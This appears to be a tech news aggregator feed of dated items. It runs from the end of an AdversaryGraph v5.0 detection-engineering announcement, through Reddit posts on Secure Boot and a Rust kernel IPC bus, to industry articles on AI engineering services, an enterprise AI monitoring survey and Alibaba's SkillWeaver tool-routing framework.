A common detection engineering task is password spray validation.

The analyst wants to know:

Do we ingest authentication failures?
Are usernames parsed correctly?
Can we count failures across many users?
Can we detect one source trying one password against many accounts?
Can we correlate a later successful login?
Can we connect the successful login to endpoint activity?

With AdversaryGraph v5.0, the workflow becomes:

Select a credential-access or brute-force related TTP.
Choose the password spray scenario.
Run the lab or AI-assisted flow.
Observe authentication-related events.
Forward the events to the SIEM.
Confirm the parser.
Confirm the rule.
Review the chain graph.
Use Explain Attack to document what should have happened.
Record gaps.

The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.

Example Use Case: Web Recon to Exploit-Shaped Telemetry

For a web application detection scenario, the analyst may want to test:

Path discovery.
Sensitive file probing.
SQL injection-shaped requests.
XSS-shaped requests.
SSRF-shaped requests.
WAF canary classification.
Access-log parser behavior.
SIEM dashboards for web attacks.

AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.

This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.

Example Use Case: Malware Findings to Detection Validation

The malware module can produce findings such as:

Suspicious imports.
Strings.
Packed sample indicators.
Function-level behavior.
Potential IOCs.
ATT&CK candidates.
AI-assisted summaries.

Those findings can feed detection engineering:

Which API calls should we monitor?
Which command lines or process patterns matter?
Which persistence mechanisms appear?
Which network indicators are useful?
Which behaviors should become validation scenarios?

AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&CK and validation planning.

Example Use Case: Asset Inventory to Attack Surface

Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&CK entry points.

The Asset Attack Surface module helps with:

Normalizing assets.
Identifying exposed services.
Scoring exposure.
Mapping likely entry points.
Proposing ATT&CK candidates.
Creating saved cases.

This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.

What This Release Is Not

It is important to define what v5.0 is not.

It is not an autonomous attack platform.

It is not a malware execution system.

It is not a replacement for a full cyber range.

It is not attribution proof.

It is not a guarantee that a detection works in production.

It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.

What Makes v5.0 Different

The main difference is the connection between CTI and validation.

Many tools stop at one of these points:

Visualize ATT&CK.
Extract TTPs.
Store IOCs.
Generate sample logs.
Run a lab attack.
Forward events.

AdversaryGraph tries to connect these into one workflow:

Understand the behavior.
Map it.
Enrich it.
Simulate it safely.
Observe telemetry.
Send it to the SIEM.
Explain what happened.
Document what passed and what failed.

That is the direction I want the platform to continue moving.

Getting Started

If you want to explore the public interface:

AdversaryGraph Web - Public ATT&CK Workspace for AdversaryGraph | 1200km

If you want the full private platform:

git clone https://github.com/anpa1200/adversarygraph.git
cd adversarygraph
cp .env.example .env
docker compose up

Then open:

http://localhost:3000

Read the full documentation here:

AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

Attack Simulation guide:

Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km

Project page:

AdversaryGraph AI - CTI-to-Detection Platform

GitHub release:

Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph

Final Thoughts

AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.

The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.

With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.

The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.

If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.

Project:

https://github.com/anpa1200/adversarygraph

Documentation:

https://1200km.com/adversarygraph-docs/

Live workspace:

AdversaryGraph Web - Public ATT&CK Workspace for AdversaryGraph | 1200km

Main page:

Andrey Pautov - CTI & Detection Engineering

AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Silo Season 3 Episode 2 Spoilers: Juliette’s Memories Could Change Everything

Sat, 04 Jul 2026 18:10:01 +0200

Silo Season 3 Episode 2 is already one of the most anticipated Apple TV episodes this week, mainly because Juliette’s memory loss has changed the direction of the story after her return to Silo 18. Season 3 premiered on July 3, 2026, and Episode 2 arrives on July 10, 2026. Related: Silo Season 3 Episode 1 Ending Explained: Why Juliette Can’t Remember The new season continues after the rebellion, but the real twist is Juliette’s condition. She survived her forced cleaning, yet she returns without clear memories, which gives Robert Sims and Camille more room to control the story inside the silo. Silo Season 3 Episode 2 Could Push Juliette Toward a Dangerous Truth Spoilers ahead for Silo Season 3 Episode 1. Juliette is back, but she is not fully herself. Her missing memories make her weaker in front of people who want power, but small flashes from the past can still lead her back to the truth. Episode 2 is expected to build on this confusion. The biggest tension now is whether Juliette can remember what happened with Bernard, what she saw outside, and why the silo is still hiding so much from its own people. Season 3 also opens the door to the “Before Times,” showing events from centuries earlier. This storyline follows journalist Helen Drew and Congressman Daniel Keene as they uncover a conspiracy tied to the creation of the silos. Related: Silo Season 3 Cast Guide: Who Are the New Characters? That twist makes Episode 2 more important because the show is no longer only about survival underground. It is also about why the world reached this point in the first place. What Makes Episode 2 So Important? Episode 2 can move the story in three key directions: • Juliette may start questioning the version of events being fed to her. • Sims and Camille may tighten their grip on Silo 18. • The flashback timeline may reveal more about the original plan behind the silos. The season has 10 episodes, with new episodes releasing weekly on Fridays until September 4, 2026. FAQs When will Silo Season 3 Episode 2 release? Silo Season 3 Episode 2 will release on Friday, July 10, 2026, on Apple TV. How many episodes are in Silo Season 3? Silo Season 3 has 10 episodes. Apple TV is releasing one new episode every week. What is the main twist in Silo Season 3? The main twist is Juliette’s memory loss after surviving her forced cleaning. The season also adds a major origin story set centuries before the present timeline. Is Silo Season 3 connected to the books? Yes, Silo is based on Hugh Howey’s books, and Season 3 uses material linked to Shift and Dust while also expanding parts of the story for TV. Silo Season 3 Episode 2 looks ready to deepen the mystery around Juliette, Silo 18, and the origin of the underground world. Apple TV costs $12.99 per month in the US. What do you plan to watch next? Let us know in the comments.

BackendTLSPolicy expands Gateway API transport security

Sat, 04 Jul 2026 18:08:07 +0200

BackendTLSPolicy is a Kubernetes resource that allows the specification of additional Transport Layer Security (TLS) encryption in Gateway API. It gives Gateway API users on Red Hat OpenShift access to the same level of secured traffic as the OpenShift route…

The post BackendTLSPolicy expands Gateway API transport security appeared first on IT Security News.

Hypothetical: what if Microsoft pushes through Secure Boot mandate and does not allow shim files to run with Windows 12 in order to act as a "Linux killer" (but of course never says that is the reason)?

Sat, 04 Jul 2026 04:09:16 +0200

Even though Microsoft has done the opposite and said manufacturers must allow Secure Boot to be turned off, I have been thinking about Microsoft going down the route Apple has and saying to new computers "you must run Windows as your only operating system on hardware".

There are no public indications or statements that suggest or show Microsoft is planning on this. However, last month, Microsoft let UEFI Secure Boot certificates expire, which many people feel is testing the waters for such a move. I feel such a move is plausible despite what I said, because Microsoft might see it as plugging a hole in people leaving Windows before it is too late, assuming the average person won't buy a new system or go through the hoops to force it off. I think such a move could go either way. Because on one hand unfortunately, most people are relatively tech illiterate, and on the other hand, there is an effect of secrecy.

The key reason I think this is something people should consider as a possibility is this: it already exists on cell phones. I did some research and I found that such a mandate would be technically feasible but face more legal friction because cell phones are not classified as general purpose computing (though I think they should be because of how they evolved). Apple has done it to MacOS recently, making it very hard to install Linux on newer hardware. That is the reason I think a Microsoft push to block Linux (or any non-Microsoft OS for that matter) to run is something people should worry about.

I am not ranting about this, I am just curious about how such a decision would affect Linux developers and core users, especially considering many Linux users strategically use Windows OEM hardware to reach discounts and often higher quality parts because the relative discounts of these manufacturers and the premiums they get often outweigh the cost of the licensing and hardware compatibility (TPM chips and the like), or are using them because they were passively using Windows for years until the software bloat got intolerable for them (or were missing the TPM chip or something else Windows 11 requires).

I do not think they will do it because of the antitrust and bad press talking points. But I feel it is likely/plausible enough to consider for developers. Ultimately, I think that the reason they haven't tried this is that antitrust law issue.

Here is a personal story: When I first bought my HP OmniBook X which now dual boots Ubuntu and Fedora, I got an error. I freaked out when I plugged in the Ventoy USB after seeing "Secure Boot Violation" or something like that. I was about to return it until I looked up if you could disable it. Fortunately you can. It is possible to run Linux through a backdoor Microsoft provided called shim which was created for that purpose. But that backdoor could be revoked in the future, and they could also potentially say "you can't sign your own keys" (which already seems to be the case on many of these machines, and even if it isn't it is yet another hoop to hop through).

The bottom line: if it comes to this, will you switch to Linux certified laptops, keep old systems, or import from markets in Europe (the EU has digital sovereignty laws that would not like this) or somewhere else where Microsoft is forced to allow it off supply you those same hardware? Or something else?

submitted by /u/DestroyRepublicans
[link] [comments]

I tried to create a better IPC system for Linux (rust btw)

Sat, 04 Jul 2026 04:09:13 +0200

I'm creating a project called motherboard, a kernel-backed service bus for Linux, designed for fast communication between applications and system services.

The idea came from a frustration I have with Linux application development: the system has very powerful primitives, but it doesn't have an application platform as unified as Windows or Android. To build a complete app, we often need to deal with a mix of sockets, D-Bus, portals, specific daemons, X11/Wayland, PulseAudio/PipeWire, systemd or alternatives, etc.

motherboard tries to address this problem by creating a common layer where applications talk to stable OS global interfaces, not concrete processes.

For example, an app should not need to know which daemon implements notifications. It should call something like:

 NotificationDispatcher.send(...)

and the system should route that to whoever currently implements that service.

Today that implementation may live in a monolithic process. Tomorrow it may be split into multiple daemons. The application does not change, because it depends on the interface, not the implementation.

It may look like overengineering if you think about an isolated app talking to one specific daemon. But the problem here is different: an operating system needs to expose global APIs to many applications that do not know each other, while maintaining shared state, permissions, notifications, and real-time changes and you need the OS to be easily backwards compatible.

If the user changes the theme or the network state changes (like wifi strength, status, IP, etc...), the shell needs to update, open apps need to react, services may need to recompute state, and future applications I have never seen before need a stable way to observe that without knowing which processes implement each of those services.

That is why motherboard is not just “another IPC”. It tries to turn system services into stable interfaces with function calls, reactive stores, and eventually signals. For a small app, Unix sockets are enough. For an OS platform, you need a common layer.

What already works

The project already has a Linux kernel module called motherboardm, which exposes /dev/services.

Communication uses commands serialized with postcard and sent through ioctl.

Currently, I have implemented:

asynchronous RPC-style calls;
per-connection inboxes;
latch file descriptors compatible with poll/epoll;
inline file descriptor passing;
identity metadata provided by the kernel, such as PID, UID, GID, and a flag indicating whether the identity comes from the initial namespace;
reactive stores.

Stores are one of my favorite parts of the design. Stores are very similar in spirit to svelte readable stores. A service can expose a retained value, for example:

 SettingsManager.theme

Clients can subscribe to that store, receive the current value, and then receive updates whenever the service changes the value.

Signals are not implemented yet, but the idea is to use them for events such as “the user clicked on a notification” so apps can do things when certain things happen in the OS.

Practical example

I made a proof of concept with a settings app.

One app calls a setter function in the settings service to change the theme. The service updates the theme store, and the other apps that were subscribed receive the update automatically.

In other words, system state becomes a reactive primitive instead of polling and flooding the server with get requests like it usually happens with DBus.

Why in the kernel?

I know the natural reaction is to ask: “why not D-Bus or Unix sockets?”

The short answer is that Unix sockets are good, but they are a generic primitive. Each protocol needs to rebuild framing, request IDs, asynchronous wakeups, credentials, fd passing, and its own conventions.

motherboard moves those concerns into a common layer:

atomic messages instead of byte streams;
asynchronous request/reply;
reply tokens issued by the kernel;
fd passing together with the payload;
caller identity provided by the kernel;
integration with poll/epoll;
services as namespaces for functions, stores, and eventually signals.

The inspiration comes a lot from Android Binder, where many Java APIs actually call privileged system services underneath.

Current status

This is still an early prototype. It is kernel code, so bugs can crash the machine. For now, I am developing and testing it carefully.

I also created a tool called cargo-nok to compile Linux kernel modules in Rust using Cargo, without directly depending on the kernel’s traditional Makefile infrastructure, allowing direct use of crates.io libraries, taking advantage of the Rust ecosystem and greatly speeding up development. Repository: https://github.com/ardos-os/cargo-nok

My goal now is to get feedback on the design:

does it make sense to model services as namespaces for functions, stores, and signals?
do reactive stores at the service bus level seem like a good primitive?
what security or lifecycle problems do you think I should handle early?
should this stay in the kernel, or would some parts make more sense in userspace?

GitHub: https://github.com/ardos-os/motherboard

I would really like to hear opinions, especially from people who have worked with Linux, IPC, operating systems, D-Bus, Android, Rust, or low-level development.

submitted by /u/tiagodinis_
[link] [comments]

Google Cripples NetNut Proxy Network Spanning 2 Million Devices

Fri, 03 Jul 2026 18:27:23 +0200

Google has delivered a major blow to NetNut, one of the world’s largest residential proxy networks, by crippling its ability to route malicious traffic through millions of compromised home devices. The operation, conducted in coordination with the FBI, Lumen,…

The post Google Cripples NetNut Proxy Network Spanning 2 Million Devices appeared first on IT Security News.

Microsoft and Amazon devote billions of dollars to thousands of FDEs

Fri, 03 Jul 2026 03:17:34 +0200

Systems integrators (SIs) have been integral to IT projects for decades, providing consulting services and helping enterprises build and launch technology tools.

Now, as organizations move to deploy agentic AI, top large language model (LLM) providers are looking to get in on that action. A proliferation of Forward Deployed Engineer (FDE) services embeds AI experts directly into customer teams to help create, customize, and launch AI services.

For instance, this week, Microsoft launched a $2.5 billion venture, Microsoft Frontier Company, that the tech giant says “goes beyond” FDE, and Amazon Web Services (AWS) announced its own $1 billion investment into a new AWS FDE platform.

Both projects will integrate thousands of Microsoft and AWS engineers into customer environments to help them not only build AI tools, but learn essential skills to handle projects on their own going forward. Other big model players, including Anthropic, are also getting into the game with their own FDE services.

The gap between AI investment and ROI is growing, noted Thomas Randall, research director at Info-Tech Research Group, and organizations are under pressure to show production value from AI deployments.

This is the context in which vendor FDEs such as those from Microsoft and AWS will become relevant to “compress learning curves from their deep product knowledge, establish reusable processes, and build capabilities that can then be transferred,” he said.

Frontier transformation

Microsoft Frontier Company will place 6,000 experts with customers to “co-design, co-innovate, deploy and continuously improve” AI systems based on their specific business goals, Judson Althoff, CEO of Microsoft Commercial Business, wrote in a blog post.

The new offering focuses on what Microsoft calls “Frontier Transformation,” helping customers build an intelligence platform based on their proprietary data and internal expertise, workflows, and decision-making processes. Based on FinOps principles, the offering helps users “observe, govern, manage, and secure” AI tools across their stacks, and their intelligence compounds over time, Althoff said.

Microsoft Frontier Company is a “model-diverse, open, heterogeneous” platform, Althoff noted; customers can choose their own models: ChatGPT, Claude, Microsoft Copilot, or other open source or industry-specific models.

“Customers shouldn’t be locked into a single model any more than they should be locked into a single technology vendor,” Althoff noted. Further, he emphasized, customer data and IP are protected, and are not used to train Microsoft’s models.

The tech giant says it will leverage its SI and FDE partnerships with Accenture, Capgemini, EY, KPMG, PwC, and others to help scale the platform. Early users including London Stock Exchange Group (LSEG), Land O’Lakes, Unilever, and Novo Nordisk are already seeing “measurable outcomes,” Althoff said.

For instance, AI embedded into LSEG Workspace helps finance experts ask complex questions and get quick answers based on structured and unstructured financial data. The underlying foundation is “iteratively refined” through client feedback and real-time user testing, Althoff explained. This accelerates each cycle and improves model quality and scope.

This is the value of FDEs, he contended: “Enterprise AI engineering expertise with deep industry knowledge is required to build a system that acts as a continuous loop of improvement,”

Compressing timelines

Like Microsoft Frontier Company, AWS FDE embeds its experienced engineers into customers’ business, engineering, and security teams to help them build and launch agents purpose-built on their specific data, processes, and governance frameworks, AWS’ VP of frontier AI engineering and services Francessca Vasquez explained in a blog post.

“Unlike traditional consulting that assesses, recommends, and treats each deployment as a standalone project, AWS FDE builds for the long term,” she noted. Customers become “self-sufficient with AI,” moving from “observers to co-builders to autonomous operators” as they learn AI skills, workflows, and patterns that they can use to build AI going forward.

The platform is agentic-first and designed to compress timelines “from months to days,” and the derived business intelligence compounds to support future projects, Vasquez said.

Embedded engineers, many of whom build AWS AI services, verify and guide projects; AWS says it is also investing in training, tools, and resources for partners, to bolster the platform.

Customers gain access to runbooks, and architectural documentation, and a semantic layer connects to their data sources to create a knowledge graph that AI agents can reason over, Vasquez said.

She emphasized that domain expertise resides in the customer’s code, agents, and systems, so institutional knowledge does not get lost with employee turnover. Further, security tools provide hardware-based isolation and end-to-end encryption.

AWS FDE is not intended for those merely experimenting with AI, Vasquez noted, it is “built for organizations that have moved past experimentation and need production AI systems running real business processes.”

Still a market for SIs

SIs have enjoyed decades of high-margin relationships with their customers, so it makes “eminent sense” for hyperscalers to try to grab some of that business for themselves, noted technology analyst Carmi Levy.

“Both Microsoft and Amazon are aggressively looking for ways to tighten customer lock-in and open up more opportunities to get inside both their clients’ operations and decision making apparatus,” he pointed out.

In addition, Randall said, Info-Tech’s research reveals that 77% of organizations do not have a corporate-wide AI strategy. FDEs will address this by being narrow and specific to the customer’s working AI systems, reference architecture, runbooks, and other deliverables.

SIs, however, provide a different service, he said. Their relevance will be in broader integration knowledge across systems, managing change, and scaling programs. “Their deliverables will be more strategic and broader in scope.”

Of course, there is overlap, he said, and Microsoft will work closely with global SI partners. The investment gap and implementation complexity put hyperscalers under pressure to “provide more white-glove services to pull their customers along.”

Considerations for enterprises

Levy noted that, for customers who have already decided on a particular AI stack, these platforms may be worthwhile as long as they’re comfortable taking a single-vendor route.

“Assuming Microsoft and Amazon are price- and service-competitive with systems integrators, they may represent a compelling alternative,” he said. Still, using their services could come at a cost of potentially reduced choice, which could limit longer-term options.

It remains to be seen whether these types of platform are better for the customer or the vendor, and deliver more value than existing alternatives, he said, but the market will ultimately decide.

With that in mind, he advised IT decision makers to deep-dive not only into Microsoft’s and Amazon’s agentic delivery competencies compared to those of SIs, but into whether their underlying motivations are “truly in the customers’ best interests.”

Info-Tech’s Randall also advised enterprises to consider the output they’re looking for. FDEs will fast-track accurate builds on specific platforms they specialize in, while SIs will then help make the platform work across an enterprise context.

FDE options are best for organizations looking past AI pilots to quick, effective product buildouts, he said. SIs are needed when those organizations need to scale that pattern across messy enterprise processes.

Another factor to consider: “FDEs are not suitable for organizations still working on basic AI strategy questions or that want to remain cloud neutral,” said Randall.

This article originally appeared on CIO.com.

Microsoft and Amazon devote billions of dollars to thousands of FDEs

Fri, 03 Jul 2026 03:08:14 +0200

Systems integrators (SIs) have been integral to IT projects for decades, providing consulting services and helping enterprises build and launch technology tools.

Frontier transformation

This is the value of FDEs, he contended: “Enterprise AI engineering expertise with deep industry knowledge is required to build a system that acts as a continuous loop of improvement,”

Compressing timelines

The platform is agentic-first and designed to compress timelines “from months to days,” and the derived business intelligence compounds to support future projects, Vasquez said.

Embedded engineers, many of whom build AWS AI services, verify and guide projects; AWS says it is also investing in training, tools, and resources for partners, to bolster the platform.

Customers gain access to runbooks, and architectural documentation, and a semantic layer connects to their data sources to create a knowledge graph that AI agents can reason over, Vasquez said.

Still a market for SIs

Considerations for enterprises

Levy noted that, for customers who have already decided on a particular AI stack, these platforms may be worthwhile as long as they’re comfortable taking a single-vendor route.

It remains to be seen whether these types of platform are better for the customer or the vendor, and deliver more value than existing alternatives, he said, but the market will ultimately decide.

Another factor to consider: “FDEs are not suitable for organizations still working on basic AI strategy questions or that want to remain cloud neutral,” said Randall.

Enterprises lost Claude Fable 5 for a few weeks. New data shows two-thirds had already built their hedge

Fri, 03 Jul 2026 03:02:52 +0200

Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream.

On June 12, a U.S. export-control order pulled Anthropic's Claude Fable 5 — the most capable model on the market — offline for every customer, with no warning and no timeline. It returned this week wrapped in tighter safeguards, after China's Z.ai released its open-weights GLM-5.2 into the vacuum. New VentureBeat Pulse Research, which surveyed 145 enterprises across these last few weeks, shows that two-thirds had already hedged their model strategy before the order came down: 51% blend closed frontier models with open-weight models deployed on their own infrastructure, and another 16% are moving core workflows off closed APIs entirely. The remaining third was all-in on closed ecosystems when the lights went out.

The blackout put a spotlight on vendor dependency, by showing what happens when the model you rely on disappears. But vendor dependency is only the most visible piece of a deeper problem: Most enterprises lack the monitoring to know when an AI system they've put into production stops working correctly.

Just 1 in 10 enterprises has automated monitoring that would catch an AI model drifting, misbehaving, or failing in production. Roughly a quarter would learn of a production failure only when end users — internal or external — report it, or lack the visibility to detect it at all. And 79% of enterprise organizations have already taken a real financial or operational hit from autonomous agents — most often shadow AI, unauthorized agentic work run by enterprises' own employees on corporate credit cards, outside anyone's oversight.

We call this the “Control Gap,” or the distance between how aggressively enterprises are deploying AI and how little of it they can see, own, or govern. June’s blackout turned this into a live stress test.

About this data: VentureBeat Pulse Research surveyed 145 qualified respondents at organizations with 100 or more employees in June 2026, with fielding spanning the Fable 5 blackout that began June 12. The sample is self-selected and directional: 41% work in technology/software, 20% are consultants or advisors, and the respondent base skews senior and technical — CIO/CTO/CISOs (18%), directors of engineering/IT (14%), enterprise architects (12%). More than half of the respondents were from companies with 10,000 employees or more.

While our sample is not huge, what you can trust more than the exact percentages is the pattern: Every question in the survey, independently, points the same way, with deployment running ahead of governance, visibility, and cost control.

The full methodology is in the report.

How the Fable 5 export order rewrote enterprise AI risk

Fable 5 launched June 9 to immediate acclaim — and sticker shock, at $10 per million input tokens and $50 per million output. Three days later, the U.S. government issued an emergency export-control directive barring access by foreign nationals. Anthropic, with no way to verify nationality in real time, suspended the model for everyone.

Z.ai has continued to pick up momentum; on Wednesday it released an open agentic coding environment, called Zcode. OpenAI, meanwhile, previewed its cutting-edge GPT-5.6 line on June 26.

Enterprises had already spent the spring learning what AI dependence costs in dollars. Uber burned through its entire 2026 AI coding budget in four months after Claude Code adoption hit 84% of its roughly 5,000 engineers, Forbes reported. Microsoft canceled most internal Claude Code licenses in its Windows and Microsoft 365 division, steering engineers to its own tooling, according to The Verge.

June added the harder lesson: The model your workflows depend on can vanish overnight, by government order, through no decision of yours or your vendor's. And Chinese companies like DeepSeek were releasing hugely disruptive, powerful models, driving down costs to a fraction of Western ones.

Brian Craig, senior director of architecture at Liberty IT, the Ireland-based engineering arm of Liberty Mutual, one of the world’s largest insurance companies, saw both lessons collide in real time. Craig is Irish, which meant the export order hit him directly as a foreign-national user.

Onstage at VentureBeat's AI Impact event in New York on June 24, mid-blackout, I asked him about it. "Fable arrived, and immediately you saw the sticker price of using it, and you went, 'Ooh, goodness, it better be really good,'" Craig said. "But luckily enough, we didn’t get to use it enough to get to fall in love with it." Then it was gone.

The hedge was already built before the blackout hit

Craig's company was built to route around exactly this kind of disruption. Liberty IT runs what it calls an AI backbone — roughly 50 components spanning security, governance, observability, and orchestration, each independently replaceable.

"You can't lock in right now in one vendor and even one framework," Craig told the room. "You need to keep being able to have the flexibility with that backbone to be able to hook into different models, different vendors, depending not so much on who's the flavor of the day, but on what you can feel confident about for the next six months."

The survey shows Craig has plenty of company. A 51% majority of enterprises run a hybrid posture — closed frontier models for general reasoning, open-weight models deployed locally for specialized execution — and 16% are making a hard pivot, moving core workflows onto open weights running on their own hybrid or private cloud. The 32% holding a closed commitment are candid about why: The operational overhead of self-hosting still outweighs the savings for them. After June, that calculus has a new variable in it.

Defection is now the active posture, and the target may surprise you. Asked which primary AI vendor they are most likely to downsize or phase out over the next 12 months, respondents named Microsoft first at 30% — most citing cutbacks to Copilot and Azure AI frameworks in favor of direct model access — ahead of the 28% who plan to trim no vendor at all. OpenAI drew 21%, largely on pricing volatility, with Anthropic at 15% and Google at 6%. No vendor faces an exodus. But loyalty by inertia has ended: Among these enterprises, actively cutting at least one provider is now more common than expanding across all of them.

Just 1 in 10 enterprises would catch a failing production model automatically

How would an enterprise know if one of its production AI models was drifting, behaving unsafely, or failing to complete tasks? We asked directly. Forty percent say they are very confident they would detect it. The question also asked what that confidence rests on, and respondents split into two camps: 30% rely on humans reviewing critical AI outputs, and just 10% — 14 of the 145 organizations — have automated monitoring and alerting running against production systems. The remaining respondents hold weaker positions still: 32% expect to catch most issues "eventually," 19% say they would likely hear about a failure from end users first, and 8% report no systematic visibility into production AI behavior at all.

That distinction matters because the two approaches are very different. Human review may seem like the gold standard, but it only reaches the outputs someone designates as important for such a review — and it happens at the pace humans can move at, with the inconsistency any manual process carries. Automated monitoring watches everything the system produces, continuously, and flags anomalies as they happen — for the same reason enterprises stopped depending on manual checks for uptime and security a decade ago.

As agentic workloads multiply output volumes far beyond what any review team can read, the manual approach starts to fall behind. The leaders at our June 24 event in New York treat human review as a designed control with automation underneath it. "Nothing gets deployed into production unless it's a human actually reviewing it and signing off," Craig said of Liberty's agentic software factory, where planning, coding, testing, critic, and librarian agents ship features from epic to production.

"It always has to be risk-based. That's why we work for an insurance company." Todd Johnson, the Morgan Stanley managing director who runs agentic AI across the bank's end-of-day P&L controller process, described the same principle from finance: "One of our strong principles in our AI governance generally is that there always has to be human accountability, even if there's a degree of automation." VentureBeat covered Morgan Stanley's new results around its P&L resolution agent system separately.

Liberty Mutual and Morgan Stanley chose manual sign-off deliberately, layered on top of observability, identity, and governance infrastructure. Whether the human-review camp has similar infrastructure underneath is more than a single-select question can establish. The 16% who separately named missing observability tooling as their biggest governance barrier are the ones saying outright that it hasn't been built.

The top governance barrier is organizational: no single owner for AI across platforms

Why does the AI visibility tooling never get built? The respondents' answers suggest it is an organizational shortcoming. The single most-cited barrier to governing AI across platforms is the absence of a single owner or accountable team, at 32%. Vendor opacity follows at 25%, missing tooling at 16% — and a lack of talent lands dead last at 5%.

The skills exist, but the organizational mandate does not: Only 38% say a central team actually governs AI behavior across their platforms today, 21% say ownership is unclear or actively contested between teams, and 17% say no role holds formal accountability at all.

The AI surface being governed makes the vacuum worse. Fully 85% of enterprises run two or more platforms each claiming to be the "primary" AI layer — ERP, ITSM, productivity suite, data platform, each with its own AI, its own controls, and its own assumptions. 36% describe an open contest between four or more. Just 8% have consolidated to one. Asked in a free-text question what one thing they would fix, respondents converged from different directions on the same answer: a single accountable owner, and a control plane that abstracts cost, drift, and model choice away from the end user.

79% have already paid for an agent control failure — led by shadow AI

The cost of the vacuum is showing up on corporate cards.

Asked to name the most severe financial or operational control failure they have experienced from autonomous agents, 49% of enterprises cite shadow AI — departmental teams running unauthorized agentic pipelines on corporate credit cards, bypassing central financial oversight entirely. Another 25% have been hit by an infinite-loop bill, an uncaught recursive workflow racking up thousands in token costs in a single incident, and 6% by an agent that degraded production databases with unthrottled queries. Only 21% report guarded stability, with hard token throttling and budget caps at the infrastructure layer. Add it up: 79% of these enterprises have already paid for an agent control failure in real money or real downtime.

Finally, the economics of tokens suggest the pressure will keep rising. Per-token inference costs are falling 70 to 80% a year, and agentic workloads consume 100 to 500 times the tokens of the LLM tools they replaced.

Brian Gracely, senior director of portfolio strategy at Red Hat, told our New York audience the answer starts with right-sizing: "If I'm simply trying to resolve an insurance claim, I don't need to know about the history of Western civilization in my model. I don't need to know soccer scores."

Enterprises are pairing smaller, specialized models with semantic routing, he said, so the platform decides which requests genuinely need frontier-scale reasoning — and which are burning premium tokens on commodity work. (One adjacent data point from the survey underlines the appetite for pragmatism: 73% of enterprises report little or nothing to show for their custom fine-tuning investments of the past 18 months — a reckoning we'll examine in its own report.)

The bottom line: Replaceability is spreading faster than ownership

The survey describes enterprises moving fast on AI with weak controls underneath. 58% are adding more AI initiatives than they retire. 85% run multiple platforms that each claim to be the primary AI layer. Three times as many enterprises rely on human review to catch a failing production model as have automated monitoring in place. And 79% have already paid for an agent control failure — most often unauthorized agent spending on corporate cards, outside IT's oversight.

On one problem, enterprises have clearly adapted: model dependency. Two-thirds hedge their model strategy, either running open-weight models alongside closed ones (51%) or moving core workflows off closed APIs entirely (16%). The Fable 5 shutdown showed the value of that position — the hedged companies could route around a model that a government order made unavailable overnight.

The remaining problems are internal, and no purchase fixes them: 32% name the lack of a single accountable owner as their top governance barrier, and 17% say no role holds formal accountability for AI at all. Assigning an owner costs nothing and requires no vendor. It still hasn't happened at most of these companies.

Our coming Q3 wave of research will measure whether June changed this — whether enterprises assigned owners and installed automated monitoring, or just added a second model and moved on.

Get the full Control Gap report here.

The themes in this report — agent orchestration, governance, and cost control — are the agenda at VB Transform, VentureBeat's flagship event, July 14-15 at Hotel Nia in Menlo Park, with technical leaders from Visa, GM, Waymo, Intuit, Instacart, LangChain and others. Details and registration here.

Disclosure: VentureBeat's June 24 AI Impact event in New York was sponsored by Red Hat and Intel. Sponsors have no input into VentureBeat Pulse Research survey design, findings, or editorial coverage.

New Alibaba AI framework skips loading every tool, cutting agent token use 99%

Thu, 02 Jul 2026 23:17:34 +0200

As enterprise AI systems scale to handle complex workflows, practitioners face the challenge of routing subtasks to the right tools and skills. Agents can have hundreds of tools and skills and get confused on which one to use for each step of a workflow.

To address this challenge, researchers at Alibaba developed SkillWeaver, a framework that creates an execution graph for a given task and chooses the right skills for each of the nodes. They also introduce Skill-Aware Decomposition (SAD), a novel technique that uses a feedback loop to enable the agent to fetch and vet relevant tool candidates iteratively. This compositional approach and feedback loop mechanism distinguishes SkillWeaver from other tool-routing frameworks that choose tools in a one-shot fashion.

SkillWeaver relates to real-world AI applications where agents autonomously orchestrate multi-tool ecosystems, such as the Model Context Protocol (MCP), to execute multi-step business operations like downloading datasets, transforming information, and creating visual reports.

In practice, the researchers' experiments with SkillWeaver show that implementing this retrieve-and-route approach significantly increases accuracy while reducing token consumption by over 99% compared to naively exposing agents to an entire tool library.

For practitioners building AI agents, the main takeaway is that the granularity of task decomposition is the biggest bottleneck to accurate tool retrieval.

The challenge of skill routing

Skills are a key pattern in modern LLM agent architectures. A skill is a modular, reusable tool specification that uses structured natural language documentation.

As enterprise agents integrate with massive tool ecosystems, accurately routing user queries to the right skills becomes a difficult task. Exposing an entire library to an LLM to find the right tool is highly inefficient, quickly overwhelms context limits, and consumes hundreds of thousands of tokens.

Most current tool-use frameworks attempt to solve this through API retrieval, documentation matching, or hierarchical structures that treat routing strictly as a single-skill selection or per-step problem.

However, this single-skill paradigm is insufficient for enterprise environments because real-world queries are inherently compositional. A standard business request such as "Download the dataset, transform it, and create visual reports" cannot be fulfilled by one tool. It requires breaking the prompt down and sequencing an API client, a data processor, and a visualization tool into a cohesive, multi-step execution plan.

How SkillWeaver and SAD work

